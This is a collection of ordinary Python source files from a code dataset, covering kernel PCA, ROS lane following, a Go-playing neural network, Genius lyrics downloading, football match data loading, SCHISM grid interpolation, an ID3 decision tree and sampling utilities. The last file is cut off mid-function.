+{"seq_id":"390377996","text":"from scipy.spatial.distance import pdist, squareform\nfrom scipy import exp\nfrom scipy.linalg import eigh\nimport numpy as np\n\ndef rbf_kernel_pca(X, gamma, n_components):\n \"\"\"\n RBF 커널 PCA 구현\n\n 매개변수\n ------------\n X: {넘파이 ndarray}, shape = [n_samples, n_features]\n\n gamma: float\n RBF 커널 튜닝 매개변수\n\n n_components: int\n 반환할 주성분 개수\n\n Returns\n ------------\n alphas: {넘파이 ndarray}, shape = [n_samples, k_features]\n 투영된 데이터셋\n\n lambdas: list\n 고윳값\n\n \"\"\"\n # MxN 차원의 데이터셋에서 샘플 간의 유클리디안 거리의 제곱을 계산합니다.\n sq_dists = pdist(X, 'sqeuclidean')\n\n # 샘플 간의 거리를 정방 대칭 행렬로 변환합니다.\n mat_sq_dists = squareform(sq_dists)\n\n # 커널 행렬을 계산합니다.\n K = exp(-gamma * mat_sq_dists)\n\n # 커널 행렬을 중앙에 맞춥니다.\n N = K.shape[0]\n one_n = np.ones((N, N)) / N\n K = K - one_n.dot(K) - K.dot(one_n) + one_n.dot(K).dot(one_n)\n\n # 중앙에 맞춰진 커널 행렬의 고윳값과 고유 벡터를 구합니다.\n # scipy.linalg.eigh 함수는 오름차순으로 반환합니다.\n eigvals, eigvecs = eigh(K)\n eigvals, eigvecs = eigvals[::-1], eigvecs[:, ::-1]\n\n # 최상위 k 개의 고유 벡터를 선택합니다(투영 결과).\n alphas = np.column_stack([eigvecs[:, i]\n for i in range(n_components)])\n\n # 고유 벡터에 상응하는 고윳값을 선택합니다.\n lambdas = [eigvals[i] for i in range(n_components)]\n\n return alphas, lambdas\n","sub_path":"model/rbf.py","file_name":"rbf.py","file_ext":"py","file_size_in_byte":1654,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"286508197","text":"#!/usr/bin/env python\n\nfrom steering_pid import SteeringPID\n\nimport numpy as np\nimport matplotlib.pyplot as plt\nfrom scipy.interpolate import CubicSpline\nimport random\nimport math\n\nimport rospy\n#from geometry_msgs.msg import Point, PointStamped\nfrom visualization_msgs.msg import Marker\nfrom autominy_msgs.msg import NormalizedSteeringCommand, NormalizedSpeedCommand, SteeringCommand\nfrom nav_msgs.msg import Odometry\nfrom tf.transformations import euler_from_quaternion\n\ncurrent_spline_x = None\ncurrent_spline_y = None\n\ncar_pos = None\n\nCAR_ID = \"6\"#\"6\"#\"15\"\n\nclass Point:\n def __init__(self, arc, x, y):\n self.arc = arc\n self.x = x\n self.y = y\n def __str__(self):\n return \"(\"+str(self.x)[:3]+\",\"+str(self.y)[:3]+\")\"\n\ndef marker():\n pub_marker = rospy.Publisher(\"/spline/close\", Marker, queue_size=10)\n\n marker = Marker()\n marker.header.frame_id = \"map\"\n\n marker.ns = \"road\"\n marker.id = 0\n marker.type = Marker.SPHERE\n marker.action = Marker.ADD\n\n marker.scale.x = 0.5\n marker.scale.y = 0.5\n marker.scale.z = 0.5\n marker.pose.position.x = 1\n marker.pose.position.y = 1\n marker.pose.position.z = 0\n marker.color.a = 1.0\n marker.color.r = 1.0\n marker.color.g = 0\n marker.color.b = 1\n marker.pose.orientation.x = 0.0\n marker.pose.orientation.y = 0.0\n marker.pose.orientation.z = 0.0\n marker.pose.orientation.w = 1.0\n marker.color.r = 1.0\n marker.color.g = 0\n marker.color.b = 1\n pub_marker.publish(marker)\n\ndef select_points(lane):\n last_point = np.array([lane[-1]])\n lane = lane[0::10]\n lane = np.append(lane, last_point,axis=0)\n return lane\n\ndef calc_spline_interpolations(lanes):\n splines_x = [CubicSpline(lanes[0][:, 0], lanes[0][:, 1]),CubicSpline(lanes[1][:, 0], lanes[1][:, 1])]\n splines_y = [CubicSpline(lanes[0][:, 0], lanes[0][:, 2]),CubicSpline(lanes[1][:, 0], lanes[1][:, 2])]\n return splines_x,splines_y\n\ndef calc_distance(point1, point2):\n distance_vector = (point1.x-point2.x,point1.y-point2.y)\n distance = math.sqrt(distance_vector[0]**2+distance_vector[1]**2)\n return distance\n\ndef get_point(lane,i):\n return Point(lane[i,0],lane[i,1],lane[i,2])\n\ndef calc_closest_point(lane,point):\n index = np.linspace(0,len(lane),6,endpoint=False,dtype=int)\n smallest_distance = float('inf')\n smallest_i = None\n for i in range(len(index)):\n distance = calc_distance(point,get_point(lane,index[i]))\n if(distance < smallest_distance):\n smallest_distance = distance\n smallest_i = i\n return search(index[smallest_i-1],index[(smallest_i+1)%3],lane,point)\n\ndef search(down,up,lane,point):\n #check if finished\n if(down > up):\n if (abs(up + len(lane) - down) < 2):\n return get_point_from_spline(lane[down,0])\n if(abs(up-down) < 2):\n return get_point_from_spline(lane[down,0])\n\n # calc middle point\n if(down > up):\n middle_point = (down+(len(lane)-down+up)//2) % len(lane)\n else:\n middle_point = down + (up - down)//2\n\n distance_down = calc_distance(get_point(lane, down),point)\n distance_up = calc_distance(get_point(lane, up),point)\n if(distance_down < distance_up):\n return search(down,middle_point,lane,point)\n else:\n return search(middle_point,up,lane,point)\n\ndef get_point_from_spline(arc):\n p = Point(arc,current_spline_x(arc).item(),current_spline_y(arc).item())\n return p\n\ndef get_car_pos(x=None,y=None):\n if(x == None and y == None):\n x = random.randint(0, 6)\n y = random.randint(0, 4)\n p = Point(None,x, y)\n else:\n p = car_pos\n return p\n\ndef plot_point(points_array):\n\n max1 = lanes[0].max()\n max2 = lanes[1].max()\n\n xs1 = np.linspace(0, max1, int(max1*100)+1)\n xs2 = np.linspace(0, max2, int(max2*100)+1)\n lane1_x = splines_x[0](xs1)\n lane1_y = splines_y[0](xs1)\n lane2_x = splines_x[1](xs2)\n lane2_y = splines_y[1](xs2)\n\n for p in points_array:\n plt.plot(p.x,p.y,'bo')\n plt.plot(lane1_x, lane1_y)\n plt.plot(lane2_x, lane2_y)\n plt.plot()\n\n plt.show()\n\ndef add_lookahead(point, meter):\n new_point = get_point_from_spline((point.arc + meter)%current_lane.max())\n return new_point\n\n# def drive():\n# point_to_drive = get_car_pos(2.4,0.7)\n# for i in range(50):\n# if(i==20):\n# change_line()\n# car_pos = get_car_pos(point_to_drive.x,point_to_drive.y)\n# point_on_spline = calc_closest_point(current_lane, car_pos)\n# plot_point([car_pos])\n# point_to_drive = add_lookahead(point_on_spline,0.5)\n\ndef change_line():\n global current_lane, index_spline, current_spline_x, current_spline_y\n index_spline = (index_spline + 1) % 2\n current_lane = select_points(lanes[index_spline])\n current_spline_x = splines_x[index_spline]\n current_spline_y = splines_y[index_spline]\n\n# def drive_to_next_point():\n# global last_error\n# diff = target_radiant - car_radiant\n# # normalize steering angles (keep between -pi and pi)\n# error = math.atan2(math.sin(diff), math.cos(diff))\n# derivative_error = (error - last_error) / (0.1)\n#\n# pid_output = Kp * error + Kd * derivative_error\n# publisher_steering.publish(NormalizedSteeringCommand(value=pid_output))\n#\n# # for next step's derivative\n# last_error = e\n\ndef callback_gps(data):\n\n #get target from car pos\n p = data.pose.pose.position\n car_pos_tmp = Point(None, p.x, p.y)\n point_on_spline = calc_closest_point(current_lane, car_pos_tmp)\n point_to_drive = add_lookahead(point_on_spline, 1)\n target_vector = (point_to_drive.x - car_pos_tmp.x, point_to_drive.y - car_pos_tmp.y)\n target_radiant = math.atan2(target_vector[1], target_vector[0])\n\n #pub target and car pos\n target_msg = SteeringCommand(value=target_radiant)\n pub_target.publish(target_msg)\n pub_car_pos.publish(data)\n\n # o = data.pose.pose.orientation\n # orientation = [o.x, o.y, o.z, o.w]\n # _, _, car_radiant = euler_from_quaternion(orientation)\n\ndef change_lane_after_time():\n rate = rospy.Rate(100)\n change_lane_counter = 0\n while not rospy.is_shutdown():\n if(change_lane_counter > 1000):\n change_lane_counter = 0\n print(\"change lane\")\n change_line()\n change_lane_counter = change_lane_counter + 1\n rate.sleep()\n\nif __name__ == \"__main__\":\n rospy.init_node(\"spline\")\n\n #steering_pid = SteeringPID()\n\n #init\n index_spline = -1\n lanes = [np.load(\"lane1.npy\"), np.load(\"lane2.npy\")]\n splines_x,splines_y = calc_spline_interpolations(lanes)\n change_line()\n change_line()\n\n pub_car_pos = rospy.Publisher('/assignment11/car_pos', Odometry, queue_size=1)\n pub_target = rospy.Publisher('/assignment11/target', SteeringCommand, queue_size=1)\n\n pub_speed = rospy.Publisher('/actuators/speed_normalized', NormalizedSpeedCommand, queue_size=10)\n\n\n subscriber_odometry = rospy.Subscriber(\"/communication/gps/\" + CAR_ID, Odometry, callback_gps, queue_size=10)\n rospy.sleep(2)\n\n pub_speed.publish(NormalizedSpeedCommand(value=0.07))\n\n change_lane_after_time()\n\n rospy.spin()\n\n","sub_path":"src/assignment11/src/autonomous_navigation.py","file_name":"autonomous_navigation.py","file_ext":"py","file_size_in_byte":7187,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"6855773","text":"import os\nimport gym\nimport numpy as np\nimport logging\nimport time\nimport sys\nfrom network import N\nimport gym\nfrom gym import wrappers\nfrom collections import deque\n\nimport tensorflow as tf\nimport tensorflow.contrib.layers as layers\nfrom tensorflow.python.platform import gfile\n\nfrom linear_schedule import LinearExploration, LinearSchedule\n\nfrom util import get_logger, Progbar\nfrom replay_buffer import ReplayBuffer\n\nimport policy.configs\n\n\nclass BasicNetwork(N):\n \"\"\"\n Plain ol' CNN to play a (very) small game of go\n \"\"\"\n\n\n ###########################################\n ### Defining tensorflow ops ###\n ###########################################\n \n def add_placeholders_op(self):\n \"\"\"\n Add tf placeholders to the class, namely:\n\n - self.s: batch of states, type = uint8\n shape = (batch_size, board_size, board_size, 3)\n - self.a: batch of actions, type = int32\n shape = (batch_size)\n - self.v: batch of value functions (sum of *discounted* rewards)\n - self.lr: learning rate, type = float32\n \"\"\"\n state_shape = self.board_shape\n self.s = tf.placeholder(name=\"state_input\", dtype=tf.uint8, shape=(None, state_shape[0], state_shape[1], state_shape[2])) \n self.a = tf.placeholder(dtype=tf.int32, shape=(None,)) \n self.v = tf.placeholder(dtype=tf.float32, shape=(None,))\n self.lr = tf.placeholder(dtype=tf.float32) \n\n\n def get_opponent_out(self, opponent_f):\n \"\"\"\n Return an op for a graph with old weights (from freezing it)\n\n Args:\n opponent_f: the path to the frozen graph to turn into an opponent\n \"\"\"\n with gfile.FastGFile(opponent_f, 'rb') as f:\n graph_def = tf.GraphDef()\n graph_def.ParseFromString(f.read())\n return tf.import_graph_def(graph_def, input_map={\"state_input:0\" : self.s}, return_elements=['out:0'])[0]\n\n\n def get_output_op(self, state, scope, reuse=False):\n \"\"\"\n Get the tf op for the output of the networ\n If this is a Q-network, then it should be the Q-values\n If it's a p-network, then it should be the prob distr over actions\n THis function needs to take the features_op (the main part of the network) and then bolting \n on another layer or two on the end\n\n Args:\n state: tf variable for the input to the network (i.e. the state is the input to the network)\n scope: scope to use with the network\n reuse: reuse variables\n Returns:\n output: a tf op, that when given a state and run, will output a probability distribution over actions\n logits: a tf op, returning the logits passed to the sofmax \n \"\"\"\n # initialize variables\n num_actions = self.num_actions\n state_shape = list(self.env.observation_space.shape)\n input_channels = state_shape[0] \n flat_input_size = state_shape[0]*state_shape[1]*state_shape[2]\n\n # go states are (3, n, n), where 3 is number of channels\n # so state is (batch_size, 3, n, n)\n # but really we want it to be (batch_size, n, n, 3) for conv2d layers\n state = tf.transpose(state, [0,2,3,1]) # go inputs have channels first, need to transpose\n\n # Build a base cnn with 5 layers, and 32 filters\n num_layers = self.config.num_layers\n num_filters = self.config.num_filters\n board_rep = self._build_pure_convolution(inpt=state, num_layers=num_layers, num_filters=num_filters, scope=scope)\n \n # Build the output layers (1x1 convolution + softmax)\n output, logits = self._add_output_layers(inpt=board_rep, scope=scope)\n\n # need to name this operation so we can access it for transfer learning\n # when loading the graph from the save\n # Therefore this must *necessarily* be called 'out'\n output = tf.identity(output, name ='out')\n\n # export the meta graph now, so that it doesn't include optimizer variables\n graph = tf.get_default_graph()\n tf.train.write_graph(graph, self.config.output_path, self.config.graph_name)\n\n return output, logits\n\n\n def _build_pure_convolution(self, inpt, num_layers, num_filters, scope):\n \"\"\"\n Construct a convolutional neural network, with output the same shape as the input\n First layer is a 5x5 convolution with stride of 1\n All subsequent layers are a 3x3 convolution with stride of 1\n\n Args:\n inpt: tf op for the input to the convolutional layers\n num_layers: the number of layers we should build in the CNN\n num_filters: the number of filters (in all layers) that we should use\n scope: tf variable scope to use\n Returns:\n The next layer to \n \"\"\"\n next_layer = inpt\n with tf.variable_scope(scope):\n for i in range(num_layers):\n kernel_size = 5 if i == 1 else 3\n with tf.variable_scope(\"layer_%d\" % i):\n next_layer = layers.conv2d(\n inputs=next_layer,\n kernel_size=kernel_size,\n num_outputs=num_filters,\n stride=1,\n padding='SAME',\n activation_fn=tf.nn.relu,\n biases_initializer=tf.zeros_initializer)\n next_layer = tf.identity(next_layer, name=\"final_features\")\n return next_layer\n\n\n def _add_output_layers(self, inpt, scope):\n \"\"\"\n Adds a 1x1 convolution and a linear activation to compute logits\n We have a kernel of size 1, with stride of 1, each with a seperate bias\n Passes logits through a softmax activation\n\n Args:\n inpt: the output from previous layers in the network (the features)\n scope: tf variable scope to use\n Returns:\n probs: tf op that will evaluate to a probability distribution over actions\n logits: the tf op input to the softmax activation, to be used in further (composite) parts of the network\n \"\"\"\n logits = None\n out = None\n with tf.variable_scope(scope):\n # last layer: kernel_size 1, one filter, and different bias for each position (action)\n x = layers.conv2d(\n inputs=inpt, \n num_outputs=1, \n kernel_size=1,\n stride=1)\n # x has shape [batch_size, board_width, board_width, 1], so reshape to [batch_size, board_width**2]\n x = tf.reshape(x, [-1, self.config.board_size**2]) \n \n # apply different bias to each position\n bias = tf.get_variable(name=\"last_conv_b\",dtype=tf.float32, shape=[self.config.board_size**2], initializer=tf.zeros_initializer)\n logits = x + bias\n \n # apply softmax\n probs = tf.nn.softmax(logits)\n out = probs\n return out, logits\n \n\n def add_loss_op(self, output_op): \n \"\"\"\n This implements a loss that will lead to updates with terms of the correct form for policy gradients\n\n Args:\n output_op: Tf op for output from the network\n target_output_op: tf op for output from the target network\n \"\"\"\n action_mask = tf.one_hot(self.a, self.num_actions)\n output_sa = tf.boolean_mask(output_op, tf.cast(action_mask, tf.bool)) # set output for s,a for the batch\n\n self.loss = tf.reduce_mean(-tf.log(output_sa + 1e-07) * self.v)\n\n\n def add_optimizer_op(self, scope):\n \"\"\"\n Set training op wrt to loss for variable in scope\n \"\"\"\n variables = tf.get_collection(tf.GraphKeys.TRAINABLE_VARIABLES,scope=scope)\n optimizer = tf.train.GradientDescentOptimizer(learning_rate=self.lr)\n grads_var_list = optimizer.compute_gradients(self.loss, variables)\n grads, variables = zip(*grads_var_list)\n if self.config.grad_clip:\n grads_new = []\n for g in grads:\n if not g is None:\n grads_new += [tf.clip_by_norm(g, self.config.clip_val)]\n else:\n grads_new += [g]\n grads = grads_new\n grads_var_list = zip(grads, variables)\n self.train_op = optimizer.apply_gradients(grads_var_list)\n self.grad_norm = tf.global_norm(grads)\n\n def restore(self, savepoint):\n self.saver.restore(self.sess, savepoint)\n \n\n def play(self):\n \"\"\"\n Lets us play against the network\n \"\"\"\n\n # initialize replay buffer and variables\n\n # per episode training loop\n while True:\n # variables for this episode\n state = self.env.reset()\n color = input(\"What color would you like to play as? (w/b):\")\n opponent_moves_first = (color == 'w')\n if opponent_moves_first:\n print(\"You are playing as white.\")\n else:\n print(\"You are playing as black.\")\n\n # If our agent should play as white, let the oponent make a move!\n # We know that the game won't end in one move, so don't worry about that!\n if opponent_moves_first:\n # Let the opponent make a move\n player = self.env.state.color\n player_perspective_board = self._board_from_player_perspective(state,player)\n best_action, _, _ = self.get_best_valid_action(player_perspective_board)\n state, _, _, _ = self.env.step(best_action)\n \n # per action training loop\n while True:\n self.env.render()\n\n actions = range(25)\n action = -1\n while not action in actions:\n action = int(input(\"Input action (number 0 to 24):\"))\n\n # perform action in env, and remember if the player just managed to loose the game\n new_state, _, you_lost, _ = self.env.step(action)\n\n print(\"Board after your move:\")\n self.env.render()\n\n # if the game hasn't ended, let the opponent move\n if not you_lost:\n player = self.env.state.color\n player_perspective_board = self._board_from_player_perspective(new_state,player)\n best_action, _, _ = self.get_best_valid_action(player_perspective_board)\n state, _, you_won, _ = self.env.step(best_action)\n if you_won:\n print(\"You win!\")\n break\n else:\n print(\"You lose...\")\n break\n\n\n\n\"\"\"\nSome testing :)\n\"\"\"\nif __name__ == '__main__':\n # Grab the test config\n config = policy.configs.bntconfig\n\n # exploration strategy\n exp_schedule = LinearExploration(config.eps_begin, config.eps_end, config.eps_nsteps)\n\n # learning rate schedule\n lr_schedule = LinearSchedule(config.lr_begin, config.lr_end, config.lr_nsteps)\n\n # train model\n model = BasicNetwork(config)\n model.initialize()\n model.restore('results/5x5.v10/checkpoints/99417')\n model.play()\n\n\n\n\n\n\n","sub_path":"policy/test_basic_network.py","file_name":"test_basic_network.py","file_ext":"py","file_size_in_byte":11484,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"593471149","text":"#!/usr/bin/python3\n# answer\nfrom math import sqrt\ndef square(n): return n ** 2\ndef is_square(integer):\n root = sqrt(integer)\n if int(root + 0.5) ** 2 == integer:\n return True\n else:\n return False\n\n\ndef pythogoreantripletofsum(sum):\n limit = sum + 1\n c = 0\n result = 1\n for a in range(1, limit):\n for b in range(1, limit):\n temp = sqrt(square(a) + square(b))\n # print('a-'+str(a)+'b-'+str(b)+'temp-'+str(temp))\n # print(temp + temp.is_integer())\n if temp > 0 and is_square(temp) and (a+b+temp) == sum:\n print('c->'+temp)\n c = temp\n result = a * b * c\n break\n if b != limit:\n break\n return result\n\n\n# print(pythogoreantripletofsum(input('enter the sum of pythogorean triplet (1000):')))\nprint(pythogoreantripletofsum(1000))\n","sub_path":"src/009_pythogorean_triplet_of_sum.py","file_name":"009_pythogorean_triplet_of_sum.py","file_ext":"py","file_size_in_byte":897,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"288139227","text":"import argparse\nfrom dotenv import find_dotenv, load_dotenv\nimport json\nimport lyricsgenius as lg\nimport os\nfrom tqdm import tqdm\n\nparser = argparse.ArgumentParser(description='Download songs lyrics for the specific artist.')\nparser.add_argument('artist', type=str, help='Artist name. Use apostrophe if needed')\nargs = parser.parse_args()\n\nload_dotenv(find_dotenv())\n\nCLIENT_ACCESS_TOKEN = os.getenv('CLIENT_ACCESS_TOKEN')\n\ng = lg.Genius(CLIENT_ACCESS_TOKEN)\nartist = g.search_artist(args.artist, sort=\"title\")\nartist.save_lyrics('.datalyrics.json')\n\njson_file = open('.datalyrics.json').read()\ncontent = json.loads(json_file)\nsongs = content['songs']\n\nwith open('./data/lyrics.txt', 'w') as output_file:\n for song in tqdm(songs):\n if song['lyrics'] is None:\n continue\n\n output_file.write(song['title'] + '\\n')\n output_file.write(song['lyrics'] + '\\n')\n\nos.remove('.datalyrics.json')\n","sub_path":"fetch_songs.py","file_name":"fetch_songs.py","file_ext":"py","file_size_in_byte":899,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"225034025","text":"#Load in Statsbomb competition and match data\n#This is a library for loading json files.\nimport json\n\n\nmy_path = 'C:/Users/victo/Desktop/Datascience/Projects/Football/SoccermaticsForPython-master/Wyscout/'\n#Load the competition file\nwith open(my_path + 'Statsbomb/data/competitions.json') as f:\n competitions = json.load(f)\n \n#Womens World Cup 2019 has competition ID 72\ncompetition_id=11\n\n#Load the list of matches for this competition\nwith open(my_path + 'Statsbomb/data/matches/'+str(competition_id)+'/42.json') as f:\n matches = json.load(f)\n\n#Look inside matches\nmatches[0]\nmatches[0]['home_team']\nmatches[0]['home_team']['home_team_name']\nmatches[0]['away_team']['away_team_name']\n\n#Print all match results\nfor match in matches:\n home_team_name=match['home_team']['home_team_name']\n away_team_name=match['away_team']['away_team_name']\n home_score=match['home_score']\n away_score=match['away_score']\n describe_text = 'The match between ' + home_team_name + ' and ' + away_team_name\n result_text = ' finished ' + str(home_score) + ' : ' + str(away_score)\n print(describe_text + result_text)\n\n#Now lets find a match we are interested in\nhome_team_required =\"Real Madrid\"\naway_team_required =\"Barcelona\"\n\n#Find ID for the match\nfor match in matches:\n home_team_name=match['home_team']['home_team_name']\n away_team_name=match['away_team']['away_team_name']\n if (home_team_name==home_team_required) and (away_team_name==away_team_required):\n match_id_required = match['match_id']\nprint(home_team_required + ' vs ' + away_team_required + ' has id:' + str(match_id_required))\n\n\nfor match in matches:\n if match['match_id'] == 303596:\n x = match \n print(x)\n#Find Sweden matches\nteam = 'Real Madrid'\nfor match in matches:\n home_team_name=match['home_team']['home_team_name']\n away_team_name=match['away_team']['away_team_name']\n home_score=match['home_score']\n away_score=match['away_score']\n if (home_team_name == team) or (away_team_name == team):\n describe_text = 'The match between ' + home_team_name + ' and ' + away_team_name\n result_text = ' finished ' + str(home_score) + ' : ' + str(away_score)\n print(describe_text + result_text)\n \n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n","sub_path":"Football_analytics/1LoadInData.py","file_name":"1LoadInData.py","file_ext":"py","file_size_in_byte":2255,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"76681813","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\"\"\" Script to interpolate SCHISM hotstart.in from one grid to another\n\"\"\"\n\nfrom .schism_mesh import read_mesh\nfrom .schism_hotstart import read_hotstart, SchismHotstart\nfrom scipy.interpolate import griddata\nimport numpy as np\nimport argparse\n\n\ndef create_arg_parser():\n \"\"\" Create an ArgumentParser for hotstart interpolator\n \"\"\"\n import schism_yaml\n parser = schism_yaml.ArgumentParserYaml()\n parser.add_argument('--hgrid_in', required=True,\n help=\"Horizontal grid of the base case\")\n parser.add_argument('--vgrid_in', required=True,\n help=\"Vertical grid of the base case\")\n parser.add_argument('--hotstart_in', required=True,\n help=\"hotstart.in of the base case\")\n parser.add_argument('--hgrid_out', required=True,\n help=\"Horizontal grid of the target case\")\n parser.add_argument('--vgrid_out', required=True,\n help=\"Vertical grid of the target case\")\n parser.add_argument('--hotstart_out', required=True,\n help=\"hotstart.in of the target case\")\n return parser\n\n\ndef interpolate_hotstart(mesh_in, hotstart_in, mesh_out):\n hotstart_out = SchismHotstart(mesh_out)\n hotstart_out.time = hotstart_in.time\n hotstart_out.nodes_elev = griddata(\n mesh_in.nodes[:, :2], hotstart_in.nodes_elev, mesh_out.nodes[:, :2])\n hotstart_out.nodes_dry = griddata(\n mesh_in.nodes[:, :2], hotstart_in.nodes_dry, mesh_out.nodes[:, :2])\n points_base = mesh_in.get_coordinates_3d()\n values_base = hotstart_in.nodes\n points_target = mesh_out.get_coordinates_3d()\n for i in range(hotstart_in.n_tracers * 2 + 7):\n values_target = griddata(points_base, values_base[\n :, :, i].flatten(), points_target)\n hotstart_out.nodes[:, :, i] = values_target.reshape(\n (mesh_out.n_nodes(), mesh_out.n_vert_levels))\n hotstart_out.calculate_side_values_from_nodes()\n hotstart_out.elems_dry = griddata(mesh_in.get_centers_of_elements(),\n hotstart_in.elems_dry,\n mesh_out.get_centers_of_elements())\n hotstart_out.calculate_elem_values_from_nodes()\n return hotstart_out\n\n\ndef interpolate_hotstart_w_args(args):\n \"\"\" Interpolate hotstart.in with the given arguments\n \"\"\"\n mesh_in = read_mesh(args.hgrid_in, args.vgrid_in)\n hotstart_in = read_hotstart(mesh_in)\n mesh_out = read_mesh(args.hgrid_out, args.vgrid_out)\n return interpolate_hotstart(mesh_in, hotstart_in, mesh_out)\n\n\ndef main():\n \"\"\" Main function\n \"\"\"\n parser = create_arg_parser()\n args = parser.parse_args()\n\n interpolate_hotstart_w_args(args)\n\nif __name__ == '__main__':\n main()\n","sub_path":"schimpy/interpolate_hotstart.py","file_name":"interpolate_hotstart.py","file_ext":"py","file_size_in_byte":2832,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"163277220","text":"# -*- coding: utf-8 -*-\n\n\nimport operator\nimport numpy as np\nfrom math import log\nfrom collections import Counter\nfrom scipy.stats import entropy\n\n\ndef calcEnt(dataSet):\n num = len(dataSet)\n labelCount = {}\n for featVec in dataSet:\n label = featVec[-1]\n if label not in labelCount:\n labelCount[label] = 0\n labelCount[label] += 1\n\n Ent = 0.0\n for k in labelCount:\n prob = float(labelCount[k])/num\n Ent -= prob * log(prob, 2)\n return Ent\n\n\ndef calcEnt2(dataSet):\n dataSet = np.array(dataSet)\n num = len(dataSet)\n labelCount = Counter(dataSet[:,-1])\n \n prod = [float(labelCount[k])/num for k in labelCount]\n Ent = entropy(prod, base=2)\n\n return Ent\n \n \ndef createDataSet():\n dataSet = [[1, 1, 'yes'], [1, 1, 'yes'], [1, 0, 'no'], [0, 1, 'no'], [0, 1, 'no']]\n labels = ['no surfacing', 'flippers']\n return dataSet, labels\n\n\ndef splitData(dataSet, axis, value):\n retDataSet = []\n for featVec in dataSet:\n if featVec[axis] == value:\n reducedFeatVec = featVec[:axis]\n reducedFeatVec.extend(featVec[axis+1:])\n retDataSet.append(reducedFeatVec)\n return retDataSet\n\n\ndef chooseBestFeature(dataSet):\n numFeatures = len(dataSet[0]) - 1\n hd = calcEnt2(dataSet)\n bestInfoGain, bestFeature = 0.0, -1\n \n for i in range(numFeatures):\n featList = [elt[i] for elt in dataSet]\n uniqueVals = set(featList)\n newEntropy = 0.0\n for v in uniqueVals:\n subDataSet = splitData(dataSet, i, v)\n prob = len(subDataSet)/float(len(dataSet))\n newEntropy += prob * calcEnt2(subDataSet)\n infoGain = hd - newEntropy\n print(infoGain)\n if infoGain > bestInfoGain:\n bestInfoGain = infoGain\n bestFeature = i\n return bestFeature\n \n\ndef majorityCnt(classList):\n classCount = {}\n for vote in classList:\n if vote not in classCount:\n classCount[vote] = 0\n classCount[vote] += 1\n sortedClassCount = sorted(classCount.items(), key=operator.itemgetter(1), reverse=True)\n return sortedClassCount[0][0]\n\n\ndef createTree(dataSet, labels):\n classList = [elt[-1] for elt in dataSet]\n if classList.count(classList[0]) == len(classList):\n return classList[0]\n if len(dataSet[0]) == 1:\n print('dataSet', dataSet)\n return majorityCnt(classList)\n bestFeat = chooseBestFeature(dataSet)\n bestFeatLabel = labels[bestFeat]\n myTree = {bestFeatLabel: {}}\n del(labels[bestFeat])\n featValues = [elt[bestFeat] for elt in dataSet]\n uniqueVals = set(featValues)\n print('labels=', labels)\n\n for v in uniqueVals:\n subLabels = labels[:]\n print('subLabels',subLabels)\n myTree[bestFeatLabel][v] = createTree(splitData(dataSet, bestFeat, v), subLabels)\n return myTree\n\n\ndef classify(inputTree, featLabels, testVec):\n firstStr = list(inputTree.keys())[0]\n secondDict = inputTree[firstStr]\n featIndex = featLabels.index(firstStr)\n print('featIndex', featIndex)\n print('secondDict', secondDict)\n for k in secondDict:\n if testVec[featIndex] == k:\n if isinstance(secondDict[k], dict):\n classLabel = classify(secondDict[k], featLabels, testVec)\n else:\n classLabel = secondDict[k]\n return classLabel \n","sub_path":"id3tree.py","file_name":"id3tree.py","file_ext":"py","file_size_in_byte":3395,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"248177345","text":"\"\"\"\nGiven a 32-bit signed integer, reverse digits of an integer.\nExample 1:\nInput: 123\nOutput: 321\n\nExample 2:\nInput: -123\nOutput: -321\n\nExample 3:\nInput: 120\nOutput: 21\n\"\"\"\n\n\nclass Solution(object):\n def reverse(self, x):\n \"\"\"\n :type x: int\n :rtype: int\n \"\"\"\n if x > 2 ** 31 - 1 or x < -2 ** 31:\n return 0\n\n q = str(x)\n h = q[::-1]\n if len(str(x)) == 1:\n return x\n elif x < 0:\n q = str(abs(x))\n h = q[::-1]\n ans = int('-' + h.lstrip(\"0\"))\n if ans < -2 ** 31:\n return 0\n else:\n return ans\n ans = int(h.lstrip(\"0\"))\n if ans > 2 ** 31 - 1:\n return 0\n else:\n return ans","sub_path":"LeetCode_questions/Reverse_Integer.py","file_name":"Reverse_Integer.py","file_ext":"py","file_size_in_byte":782,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"629850860","text":"# -*- coding: iso-8859-1 -*-\n\n# Joe Duris - jduris@slac.stanford.edu\n\nimport numpy as np\nfrom scipy.special import erfinv, erf\n#from hammersley import hammersley\nfrom chaospy import sequences \n\ndef icdf_transform_1d(su, x, pdfx):\n # sur is sample from a uniform distribution [0,1]\n # x is the coordinates of the transformed distribution\n # pdf is the pdf of x\n cdf = np.cumsum(pdfx); cdf /= np.max(cdf)\n return np.interp(su, cdf, x)\n \ndef normal_from_uniform(su,means=None,sigmas=None):\n # su is sample from a uniform distribution [0,1]\n # output is normally distributed\n oneD = False\n if len(np.shape(su)) == 1:\n oneD = True\n su = np.array(su,ndmin=2).T\n npts, dim = np.shape(su)\n if means is None:\n means = np.zeros(dim)\n if sigmas is None:\n sigmas = np.ones(dim)\n xs = np.sqrt(2)*erfinv(-1+2*np.array(su,ndmin=2))\n xs = np.transpose(np.array(sigmas,ndmin=2).T * xs.T) + np.array(means)\n if oneD:\n xs = xs[:,0]\n return xs\n\ndef cut_normal_2dradial_from_uniform(su,cut_radius_nsigma=10):\n # su is sample from a uniform distribution [0,1]\n # output ~ x*exp(-x^2/2)\n oneD = False\n if len(np.shape(su)) == 1:\n oneD = True\n su = np.array(su,ndmin=2).T\n npts, dim = np.shape(su)\n a2 = cut_radius_nsigma**2\n rs = np.sqrt(a2 - 2 * np.log(su + np.exp(a2/2.) - su * np.exp(a2/2.)))\n if oneD:\n rs = rs[:,0]\n return rs\n \ndef cut_normal_round_from_uniform_2d(su, 